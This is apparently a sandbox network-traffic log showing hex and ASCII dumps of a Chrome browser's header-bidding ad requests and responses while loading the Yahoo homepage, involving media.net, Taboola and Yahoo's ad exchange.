2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 6d 65 26 6d 6f 77 78 52 65 71 49 64 3d 62 64 35 65 31 36 65 37 65 34 61 36 62 66 36 31 63 33 65 31 30 61 35 64 38 38 36 38 35 65 62 66 5f 31 26 73 75 70 63 72 69 64 3d 73 64 61 2d 4d 41 53 54 2d 69 66 72 61 6d 65 26 72 65 71 5f 73 69 7a 65 3d 39 37 30 78 32 35 30 25 37 43 37 32 38 78 39 30 26 72 65 6e 64 65 72 65 72 3d 30 26 69 66 73 74 3d 30 26 69 66 72 61 6d 69 6e 67 53 74 61 74 65 3d 30 26 69 66 64 70 3d 30 26 73 6c 6f 74 56 69 73 69 62 69 6c 69 74 79 3d 31 26 61 64 70 6f 73 3d 31 26 6d 65 64 69 61 3d 30 26 72 65 70 63 68 6e 31 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 79 68 70 25 32 46 6d 61 69 6e 25 32 46 64 74 25 32 46 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 26 6e 61 74 69 76 65 5f 61 73 Data Ascii: me&mowxReqId=bd5e16e7e4a6bf61c3e10a5d88685ebf_1&supcrid=sda-MAST-iframe&req_size=970x250%7C728x90&renderer=0&ifst=0&iframingState=0&ifdp=0&slotVisibility=1&adpos=1&media=0&repchn1=%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_top_center&native_as
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 55 53 25 32 32 25 37 44 26 6b 37 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 6c 6f 63 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 74 6f 70 5f 63 65 6e 74 65 72 25 32 32 25 37 44 26 6b 38 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 73 69 74 65 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 66 70 25 32 32 25 37 44 26 64 65 62 75 67 5f 74 73 3d 32 30 32 34 2d 30 31 2d 31 30 2b 32 33 25 33 41 32 37 25 33 41 33 38 26 5f 5f 65 78 70 69 72 65 61 74 3d 31 37 30 34 39 32 39 34 33 39 30 37 33 26 6d 76 69 65 77 3d 30 26 74 6f 63 6f 6e 73 69 64 65 72 3d 31 26 6c 6f 5f 70 76 69 64 3d 25 35 42 32 35 30 30 33 25 35 44 26 6c 6f 5f 64 70 3d 30 26 6c 6f 5f 62 64 70 3d 30 2e 30 30 37 26 6c 6f 5f 63 62 64 70 3d 30 2e 30 30 37 26 61 63 74 Data Ascii: US%22%7D&k7=%7B%22k%22%3A%22loc%22%2C%22v%22%3A%22top_center%22%7D&k8=%7B%22k%22%3A%22site%22%2C%22v%22%3A%22fp%22%7D&debug_ts=2024-01-10+23%3A27%3A38&__expireat=1704929439073&mview=0&toconsider=1&lo_pvid=%5B25003%5D&lo_dp=0&lo_bdp=0.007&lo_cbdp=0.007&act
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 20 64 6f 63 2e 77 72 69 74 65 28 63 6f 6e 74 65 6e 74 29 3b 64 6f 63 2e 63 6c 6f 73 65 28 29 3b 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 20 3d 20 5c 22 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 65 76 74 69 64 3d 70 6c 75 74 6f 65 76 65 6e 74 73 26 5f 5f 71 3d 41 54 37 44 77 4c 51 41 44 48 42 79 5a 57 4a 70 5a 43 52 68 5a 48 4a 6c 62 6d 52 6c 63 6c 39 6c 65 47 4e 6c 63 48 52 70 62 32 34 53 4f 46 6c 49 51 6b 6f 7a 51 6b 6f 77 45 6a 49 77 4e 6a 55 78 4d 6a 45 30 4e 6b 52 79 64 47 49 74 61 47 39 74 61 57 55 78 4c 58 6f 78 4c 54 63 35 4e 32 49 35 4f 44 5a 6d 4f 54 63 74 5a 7a 63 79 4f 57 73 75 57 56 4e 44 45 6e 6c 66 5a 57 46 7a 64 46 39 7a 59 77 49 Data Ascii: doc.write(content);doc.close();} catch (e) { (new Image()).src = \"//lg1.hb.yahoo.net/log?logid=kfke&evtid=plutoevents&__q=AT7DwLQADHByZWJpZCRhZHJlbmRlcl9leGNlcHRpb24SOFlIQkozQkowEjIwNjUxMjE0NkRydGItaG9taWUxLXoxLTc5N2I5ODZmOTctZzcyOWsuWVNDEnlfZWFzdF9zYwI
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 77 44 6e 3d 79 61 68 6f 6f 2e 63 6f 6d 26 72 65 71 75 72 6c 5f 64 6e 3d 79 61 68 6f 6f 2e 63 6f 6d 26 70 69 64 3d 38 50 52 36 59 48 34 37 39 26 75 67 64 3d 34 26 66 6c 65 65 74 3d 63 6f 6d 6d 6f 6e 26 76 73 69 64 3d 33 34 37 39 33 30 38 33 33 30 31 38 30 32 33 39 26 72 65 71 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 26 63 6c 69 49 50 54 79 70 65 3d 76 34 26 63 6f 70 70 61 5f 73 74 61 74 75 73 3d 4e 26 63 6f 70 70 61 5f 61 70 70 6c 69 65 64 3d 4e 26 63 6f 70 70 61 5f 65 6e 66 3d 74 72 75 65 26 6c 6d 74 5f 65 6e 66 3d 74 72 75 65 26 64 6e 74 5f 65 6e 66 3d 66 61 6c 73 65 26 67 65 6f 5f 73 6f 75 72 63 65 3d 32 26 73 63 3d 44 43 26 63 74 3d 77 61 73 68 69 6e 67 74 6f 6e 26 7a 69 70 3d 32 30 30 31 31 26 70 75 Data Ascii: wDn=yahoo.com&requrl_dn=yahoo.com&pid=8PR6YH479&ugd=4&fleet=common&vsid=3479308330180239&requrl=https%3A%2F%2Fwww.yahoo.com&cliIPType=v4&coppa_status=N&coppa_applied=N&coppa_enf=true&lmt_enf=true&dnt_enf=false&geo_source=2&sc=DC&ct=washington&zip=20011&pu
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 41 42 32 30 25 32 43 49 41 42 39 25 32 43 49 41 42 36 26 61 64 76 55 72 6c 3d 75 72 62 61 6e 61 69 72 2e 63 6f 6d 26 64 66 70 42 64 3d 30 2e 30 30 37 26 64 73 72 63 3d 2d 32 26 64 70 3d 30 26 64 62 66 3d 31 26 65 70 63 3d 37 38 32 32 36 32 35 34 37 26 73 3d 31 26 73 6e 6d 3d 53 55 43 43 45 53 53 26 62 49 64 3d 31 39 36 38 31 31 26 70 63 72 69 64 3d 35 33 39 30 31 31 31 26 74 70 62 54 6b 6e 3d 66 61 6c 73 65 26 69 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 2e 72 66 69 68 75 62 2e 63 6f 6d 25 32 46 70 72 65 76 69 65 77 43 72 65 61 74 69 76 65 25 32 46 66 6c 67 4e 35 33 45 39 56 69 49 26 65 78 69 64 3d 36 35 26 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 70 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 6f 70 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 73 70 62 Data Ascii: AB20%2CIAB9%2CIAB6&advUrl=urbanair.com&dfpBd=0.007&dsrc=-2&dp=0&dbf=1&epc=782262547&s=1&snm=SUCCESS&bId=196811&pcrid=5390111&tpbTkn=false&iurl=https%3A%2F%2Fa.rfihub.com%2FpreviewCreative%2FflgN53E9ViI&exid=65&bidflr=0.000&pbidflr=0.000&opbidflr=0.000&spb

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.4	50579	34.120.63.153	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	1290	OUT	POST /rtb/prebid?cid=8CUQ66JUO HTTP/1.1 Host: prebid.media.net Connection: keep-alive Content-Length: 1317 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:38 UTC	1317	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 43 55 51 36 36 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8CUQ66
2024-01-10 23:27:38 UTC	661	IN	HTTP/1.1 200 OK cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:38 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com content-type: application/json;charset=utf-8 date: Wed, 10 Jan 2024 23:27:37 GMT x-envoy-upstream-service-time: 88 vary: Accept-Encoding server: envoy Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 38 63 32 0d 0a 7b 22 69 64 22 3a 22 33 37 34 35 35 33 39 36 31 30 35 32 35 32 37 34 37 31 37 30 34 39 32 39 32 35 37 36 33 36 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 7b 22 6e 6f 5f 62 69 64 22 3a 66 61 6c 73 65 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 35 33 31 37 34 39 35 30 30 31 31 38 33 32 35 36 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 63 70 6d 22 3a 30 2e 31 32 39 2c 22 61 64 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 72 63 5f 64 39 35 34 63 65 36 35 64 31 35 63 32 64 34 65 32 62 38 64 64 35 61 33 32 34 63 34 63 32 36 38 5c 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 74 72 79 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 68 62 6c 67 2e 6d 65 64 69 61 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 Data Ascii: 8c2{"id":"374553961052527471704929257636","bidList":[{"no_bid":false,"requestId":"53174950011832561704929257638","cpm":0.129,"ad":"<div id=\"rc_d954ce65d15c2d4e2b8dd5a324c4c268\"></div><script>try{new Image().src=\"https://hblg.media.net/log?logid=kfke&
2024-01-10 23:27:38 UTC	997	IN	Data Raw: 62 2d 38 43 55 51 36 36 4a 55 4f 26 74 67 74 76 61 6c 3d 70 75 62 2d 38 43 55 51 36 36 4a 55 4f 26 63 73 69 70 3d 72 74 62 2d 63 6f 6d 6d 6f 6e 2d 38 66 35 34 39 39 64 34 34 2d 35 6b 36 6a 6a 2e 53 43 26 64 74 63 3d 65 61 73 74 5f 73 63 26 7a 6f 6e 65 3d 64 26 73 64 3d 2d 31 26 70 74 79 70 65 3d 32 33 26 74 6d 61 78 3d 31 34 30 30 26 78 74 6d 61 78 3d 33 34 30 26 67 64 70 72 3d 30 26 67 73 69 3d 30 26 67 70 70 5f 70 72 65 73 65 6e 74 3d 74 72 75 65 26 67 70 70 5f 73 69 64 25 33 43 25 33 45 3d 2d 31 26 61 70 70 3d 30 26 73 61 74 3d 30 26 73 63 72 65 65 6e 69 6e 66 6f 3d 31 32 38 30 78 39 30 37 26 61 73 6e 3d 31 37 34 26 73 63 6b 66 6c 3d 30 26 73 63 6b 66 6c 32 3d 30 26 75 73 70 5f 73 74 61 74 75 73 3d 31 26 75 73 70 5f 65 6e 66 3d 31 26 75 73 70 5f 73 74 Data Ascii: b-8CUQ66JUO&tgtval=pub-8CUQ66JUO&csip=rtb-common-8f5499d44-5k6jj.SC&dtc=east_sc&zone=d&sd=-1&ptype=23&tmax=1400&xtmax=340&gdpr=0&gsi=0&gpp_present=true&gpp_sid%3C%3E=-1&app=0&sat=0&screeninfo=1280x907&asn=174&sckfl=0&sckfl2=0&usp_status=1&usp_enf=1&usp_st
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 64 66 70 42 64 3d 30 2e 31 32 39 26 64 73 72 63 3d 2d 32 26 64 70 3d 30 26 64 62 66 3d 31 26 65 70 63 3d 37 38 32 32 36 32 35 34 37 26 73 3d 31 26 73 6e 6d 3d 53 55 43 43 45 53 53 26 70 63 72 69 64 3d 31 31 31 35 35 31 31 32 26 74 70 62 54 6b 6e 3d 66 61 6c 73 65 26 65 78 69 64 3d 39 26 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 70 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 6f 70 62 69 64 66 6c 72 3d 30 2e 30 30 30 26 73 70 62 66 3d 30 26 76 69 65 77 61 62 69 6c 69 74 79 3d 38 30 26 65 78 70 3d 73 66 6c 25 33 44 66 61 6c 73 65 25 37 43 73 73 42 75 63 6b 65 74 25 33 44 30 25 37 43 62 66 6c 25 33 44 2d 31 30 30 25 37 43 73 63 68 25 33 44 31 25 37 43 73 73 50 72 6f 66 69 6c 65 25 33 44 30 25 37 43 73 65 6e 64 5f 74 69 64 25 33 44 30 25 37 43 64 62 Data Ascii: 1000dfpBd=0.129&dsrc=-2&dp=0&dbf=1&epc=782262547&s=1&snm=SUCCESS&pcrid=11155112&tpbTkn=false&exid=9&bidflr=0.000&pbidflr=0.000&opbidflr=0.000&spbf=0&viewability=80&exp=sfl%3Dfalse%7CssBucket%3D0%7Cbfl%3D-100%7Csch%3D1%7CssProfile%3D0%7Csend_tid%3D0%7Cdb
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 44 45 46 41 55 4c 54 25 32 33 25 32 33 52 65 61 6c 54 69 6d 65 56 61 6c 69 64 42 69 64 25 33 41 31 35 6d 25 32 33 25 32 33 6c 61 75 6e 63 68 65 78 70 25 33 41 74 6f 6b 65 6e 32 25 32 33 25 32 33 62 73 4e 65 64 25 33 41 76 61 6c 69 64 42 69 64 25 32 33 25 32 33 70 72 6c 6c 5f 72 65 71 25 33 41 74 72 75 65 25 32 33 25 32 33 4e 65 64 43 6b 66 6c 25 33 41 44 45 46 41 55 4c 54 25 32 33 25 32 33 42 73 73 54 67 74 4d 69 67 25 33 41 44 45 46 41 55 4c 54 25 32 33 25 32 33 56 73 69 64 54 65 73 74 25 33 41 44 45 46 41 55 4c 54 26 6d 78 5f 64 65 63 61 79 65 64 43 70 6d 3d 34 35 31 38 2e 38 37 32 32 30 35 32 32 33 30 30 36 26 6d 78 5f 73 64 72 3d 66 61 6c 73 65 26 6d 78 5f 73 75 61 5f 63 76 67 3d 30 30 30 31 30 31 30 26 6d 78 5f 74 69 64 5f 73 65 6e 74 3d 74 72 75 65 Data Ascii: DEFAULT%23%23RealTimeValidBid%3A15m%23%23launchexp%3Atoken2%23%23bsNed%3AvalidBid%23%23prll_req%3Atrue%23%23NedCkfl%3ADEFAULT%23%23BssTgtMig%3ADEFAULT%23%23VsidTest%3ADEFAULT&mx_decayedCpm=4518.872205223006&mx_sdr=false&mx_sua_cvg=0001010&mx_tid_sent=true
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 5f 70 62 73 6c 6f 74 3d 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 26 6d 6e 72 66 63 3d 31 26 76 69 65 77 61 62 69 6c 69 74 79 5f 76 65 6e 64 6f 72 3d 4d 45 44 49 41 2e 4e 45 54 2b 45 58 43 48 41 4e 47 45 26 76 69 65 77 61 62 69 6c 69 74 79 5f 6d 6e 65 74 3d 38 30 26 76 5f 6d 6b 65 79 3d 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 74 65 73 74 5f 32 5f 31 26 76 5f 6d 76 65 72 3d 32 30 32 34 30 31 30 39 31 36 34 32 5f 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 74 65 73 74 5f 32 26 76 5f 61 6c 67 3d 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 61 6c 6c 26 76 63 6d 70 6c 72 74 3d 2d 31 2e 30 26 65 78 70 5f 69 64 3d 2d 32 38 33 26 62 75 63 6b 65 74 5f 69 64 3d 2d 31 31 34 33 26 69 6d 70 5f 74 69 64 5f 70 72 65 73 65 Data Ascii: _pbslot=us_yhp_main_dt_top_center&mnrfc=1&viewability_vendor=MEDIA.NET+EXCHANGE&viewability_mnet=80&v_mkey=gen-vblt_prebid_test_2_1&v_mver=202401091642_gen-vblt_prebid_test_2&v_alg=gen-vblt_prebid_all&vcmplrt=-1.0&exp_id=-283&bucket_id=-1143&imp_tid_prese
2024-01-10 23:27:38 UTC	348	IN	Data Raw: 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 20 7c 7c 20 66 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 3b 20 64 6f 63 2e 6f 70 65 6e 28 29 3b 20 64 6f 63 2e 77 72 69 74 65 28 63 6f 6e 74 65 6e 74 29 3b 64 6f 63 2e 63 6c 6f 73 65 28 29 3b 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 20 3d 20 5c 22 2f 2f 68 62 6c 67 2e 6d 65 64 69 61 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 65 76 74 69 64 3d 70 6c 75 74 6f 65 76 65 6e 74 73 26 5f 5f 71 3d 41 54 37 44 77 4c 51 41 44 48 42 79 5a 57 4a 70 5a 43 52 68 5a 48 4a 6c 62 6d 52 6c 63 6c 39 6c 65 47 4e 6c 63 48 52 70 62 32 34 53 4f 45 4e 56 55 54 59 32 53 6c 56 50 45 6a 63 34 4d 6a 49 32 4d 6a 55 30 4e 7a 70 79 64 47 49 74 59 32 39 74 62 57 39 Data Ascii: cument.document \|\| fr.contentDocument; doc.open(); doc.write(content);doc.close();} catch (e) { (new Image()).src = \"//hblg.media.net/log?logid=kfke&evtid=plutoevents&__q=AT7DwLQADHByZWJpZCRhZHJlbmRlcl9leGNlcHRpb24SOENVUTY2SlVPEjc4MjI2MjU0NzpydGItY29tbW9
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 7d 7d 20 20 76 61 72 20 61 64 63 6f 64 65 3d 5c 22 3c 69 66 72 61 6d 65 20 69 64 3d 5c 5c 27 62 33 30 39 61 65 62 39 5c 5c 27 20 6e 61 6d 65 3d 5c 5c 27 62 33 30 39 61 65 62 39 5c 5c 27 20 73 72 63 3d 5c 5c 27 68 74 74 70 73 3a 5c 5c 2f 5c 5c 2f 61 64 73 2e 75 73 2e 63 72 69 74 65 6f 2e 63 6f 6d 5c 5c 2f 64 65 6c 69 76 65 72 79 5c 5c 2f 72 5c 5c 2f 61 66 72 2e 70 68 70 3f 7a 3d 5a 5a 38 6e 36 67 41 4b 4e 55 68 50 5f 68 4e 46 66 44 75 4c 45 54 6f 42 4f 44 48 53 44 47 55 4d 2d 43 78 6d 77 77 3d 3d 26 75 3d 25 37 43 75 54 78 64 67 25 32 46 4a 45 69 65 6c 59 49 58 72 51 69 72 41 70 45 62 4f 4c 6c 58 6b 47 5a 49 25 32 46 57 4c 73 44 75 31 59 61 39 31 59 30 25 33 44 25 37 43 26 63 31 3d 53 4d 68 62 59 Data Ascii: 1000e.toString());}} var adcode=\"<iframe id=\\'b309aeb9\\' name=\\'b309aeb9\\' src=\\'https:\\/\\/ads.us.criteo.com\\/delivery\\/r\\/afr.php?z=ZZ8n6gAKNUhP_hNFfDuLEToBODHSDGUM-Cxmww==&u=%7CuTxdg%2FJEielYIXrQirApEbOLlXkGZI%2FWLsDu1Ya91Y0%3D%7C&c1=SMhbY
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 43 32 30 33 30 25 32 43 35 35 30 25 32 43 32 33 33 25 32 43 32 30 32 38 25 32 43 32 30 32 37 25 32 43 32 33 36 25 32 43 33 31 33 25 32 43 32 33 37 25 32 43 31 31 37 25 32 43 33 31 39 25 32 43 39 37 25 32 43 35 35 25 32 43 39 39 25 32 43 33 30 31 32 25 32 43 33 30 31 30 25 32 43 32 34 34 25 32 43 32 30 31 25 32 43 32 30 33 39 25 32 43 33 30 30 37 25 32 43 32 34 36 25 32 43 31 32 36 25 32 43 32 30 33 25 32 43 32 30 31 32 25 32 43 32 30 35 35 25 32 43 31 37 32 25 32 43 33 30 32 30 25 32 43 32 35 31 25 32 43 31 37 35 25 32 43 34 35 30 25 32 43 32 30 30 39 25 32 43 31 37 38 25 32 43 33 30 31 38 25 32 43 33 30 31 37 25 32 43 32 31 34 25 32 43 37 30 25 32 43 37 37 25 32 43 32 30 30 30 30 25 32 43 33 38 25 32 43 32 30 32 33 25 32 43 32 30 32 32 25 32 43 31 34 31 Data Ascii: C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C237%2C117%2C319%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C126%2C203%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C70%2C77%2C20000%2C38%2C2023%2C2022%2C141
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 44 47 55 4d 2d 43 78 6d 77 77 3d 3d 5c 5c 5c 22 5c 5c 2f 3e 3c 69 6d 67 20 73 74 79 6c 65 3d 5c 5c 5c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 5c 5c 5c 22 20 73 72 63 3d 5c 5c 5c 22 68 74 74 70 73 3a 5c 5c 2f 5c 5c 2f 71 73 65 61 72 63 68 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 5c 5c 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 26 65 76 74 69 64 3d 64 6d 6d 72 61 26 61 63 69 64 3d 65 33 37 32 36 37 66 63 65 37 39 36 63 64 30 65 34 36 38 38 30 63 33 65 33 61 33 65 38 31 65 65 26 61 6c 67 6f 3d 75 6e 69 63 6f 72 6e 26 62 64 70 3d 30 2e 31 34 30 30 26 62 69 64 66 70 3d 30 2e 30 30 30 30 26 63 61 70 64 3d 30 26 63 63 3d 55 53 26 63 69 64 3d 38 43 55 51 36 36 4a 55 4f 26 63 72 69 64 3d 37 38 32 32 36 32 35 34 37 26 63 74 3d 77 61 73 68 69 6e 67 74 6f 6e 26 64 Data Ascii: DGUM-Cxmww==\\\"\\/><img style=\\\"display:none\\\" src=\\\"https:\\/\\/qsearch-a.akamaihd.net\\/log?logid=kfk&evtid=dmmra&acid=e37267fce796cd0e46880c3e3a3e81ee&algo=unicorn&bdp=0.1400&bidfp=0.0000&capd=0&cc=US&cid=8CUQ66JUO&crid=782262547&ct=washington&d

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.4	50580	151.101.193.44	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	641	OUT	POST /OpenRTB/TaboolaHB/auction?publisher=1635758 HTTP/1.1 Host: display.bidder.taboola.com Connection: keep-alive Content-Length: 719 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:38 UTC	719	OUT	Data Raw: 7b 22 69 64 22 3a 22 39 39 34 35 30 37 37 35 35 38 35 38 32 38 34 36 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 31 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 37 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 74 61 67 69 64 22 3a 22 59 61 68 6f 6f 20 48 6f 6d 65 70 61 67 65 20 2d 20 4d 61 69 6e 20 2d 20 44 65 73 6b 74 6f 70 20 2d 20 54 6f 70 5f 43 65 6e 74 65 72 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 65 78 74 22 3a 7b 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 7d 7d 5d 2c 22 73 69 74 65 22 3a 7b 22 Data Ascii: {"id":"99450775585828461704929257638","imp":[{"id":1,"banner":{"format":[{"w":728,"h":90},{"w":970,"h":250}]},"tagid":"Yahoo Homepage - Main - Desktop - Top_Center","bidfloor":0.05,"bidfloorcur":"USD","ext":{"gpid":"us_yhp_main_dt_top_center"}}],"site":{"
2024-01-10 23:27:38 UTC	372	IN	HTTP/1.1 204 No Content Connection: close Server: nginx Content-Type: application/json;charset=utf-8 x-envoy-upstream-service-time: 3 Access-Control-Allow-Origin: https://www.yahoo.com Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:38 GMT Via: 1.1 varnish X-Served-By: cache-lga21940-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929259.582837,VS0,VE6

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.4	50578	3.92.156.8	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	1346	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1196 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 